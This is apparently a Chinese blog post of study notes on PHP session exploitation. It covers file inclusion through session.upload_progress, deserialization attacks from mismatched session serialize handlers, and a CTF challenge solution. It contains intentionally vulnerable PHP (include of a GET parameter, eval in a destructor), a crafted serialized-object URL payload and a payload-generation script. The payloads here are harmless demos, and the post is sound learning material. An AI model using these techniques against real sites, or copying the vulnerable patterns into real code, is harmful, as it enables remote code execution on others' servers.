PHPsessionLFI和反序列化漏洞学习

php session基础知识

用处是建立和用户之间的联系,phpsess_id是服务器生成的值,用于身份识别,在cookie中可以看到

php操作session之前要进行session_start(),然后可以通过$_SESSION这个全局变量来操作数据

在phpinfo中可以看到一些session有关的配置

一些常见的配置作用:

session.cache_expire 存活时间 
session.name 会话名称

session.upload_progress.cleanup

开启时上传完成了把session文件删掉
session.upload_progress.enabled 开启可以实现文件上传进度显示
session.upload_progress.name 上传过程在session存储中的名字
session.serialize_handler session序列化处理器
session.save_path session文件存储的路径

 

php利用session.upload_progress进行文件包含

利用条件:session.upload_progress.enabled为on,php版本>5.5.4

利用原理:当一个上传在处理中,同时POST一个与session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。
此时我们上传文件时,php会生成一个session文件来记录上传的进度,生成的文件路径为session.save_path/sess_phpsessid,此时如果session.strict_mode为off,可以在cookie中自定义phpsessid的值从而实现路径已知,也就是说可以将恶意语句写入到一个已知路径的文件,进行文件包含即可利用。

利用实例1:

新建test.php

<?php
session_start(); 
$_SESSION['name']=$_GET['name'];//提供一种往session全局变量写入内容的方法,先进行简单利用的测试
include($_GET['path']); //为文件包含漏洞所提供
//此次测试时phpsess_id=94qj12rj9dec8fbfqo4f579c45
?>

攻击成功

利用实例2:模拟当test.php不提供直接写session功能时的攻击

test.php

<?php
$path=$_GET['path'];
if($path){
    include($path);
}
?>

构造文件上传表单

<html>
<body>
<form action="test.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

通过表单上传文件并构造恶意语句

可见利用成功

在两个实例中为方便漏洞验证把session.upload_progress.cleanup设置为off,默认情况为On,此时需要用条件竞争,即疯狂上传趁着session文件还没给删掉把它包含上

php中session处理产生的反序列化漏洞

php在session存储和读取过程中,存在序列化和反序列化的过程,php内置多种处理器来处理这个过程。

在phpinfo中session.serialize_handler的值对应session的处理器:

session处理器 反序列化字符串形式
php name|s:2:"yu";
php_binary 二进制字符names:2:"yu";
php_serialize a:1:{s:4:"name";s:2:"yu";}

默认和使用的处理器不同,处理session会存在格式差异,造成反序列化漏洞。

在文件中设置处理器的方法:

ini_set('session.serialize_handler','php');

利用条件:默认和使用的session.serialize_handler不一致,php版本>5.5.4

利用方式:

创建test.php

<?php
ini_set('session.serialize_handler','php_serialize'); //此时默认为php,使用php_serialize
session_start();
$_SESSION['name']=$_GET['name'];
highlight_file('D:/phpstudy/tmp/tmp/sess_4g9591sm4fhpmba43lr0lbt1a7'); //根据sessionid写出,便于直观看见
?>

此时传参a,session中反序列化值按照php_serialize的形式,

test2.php

<?php
session_start();
class s{
    var $name='a';
    function __wakeup(){
        echo $this->name;
    }
}
?>

在test2.php中session用默认引擎php处理

构造http://127.0.0.1/test.php?name=|O:1:%22s%22:1:{s:4:%22name%22;s:6:%22hacker%22;},访问test2.php时即打印出攻击者构造的hacker,原因是在当test2.php的session_start函数读取session数据时会进行反序列化操作,而此时使用php来处理,遇到|时会视为一个分隔符,把|后面当作键值,于是O:1:%22s%22:1:{s:4:%22name%22;s:6:%22hacker%22;}被当成独立的值而非字符串进行反序列化,触发__wakeup函数打印出我们构造的hacker

利用实例:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

传入phpinfo查看信息

没有提供直接写入session的语句,可以通过前文中上传post同名变量的方式写,而该方式写入的数据以php_serialize进行序列化,此文件中又用php处理session反序列化,即可通过构造恶意的OowoO类序列化值进行攻击

构造payload

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'echo "yu"';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a=new OowoO;
echo serialize($a);
?>

用session.upload_progress的特性传参

执行成功

posted @ 2022-01-10 10:56  Yu_so1dier0n  阅读(135)  评论(0编辑  收藏  举报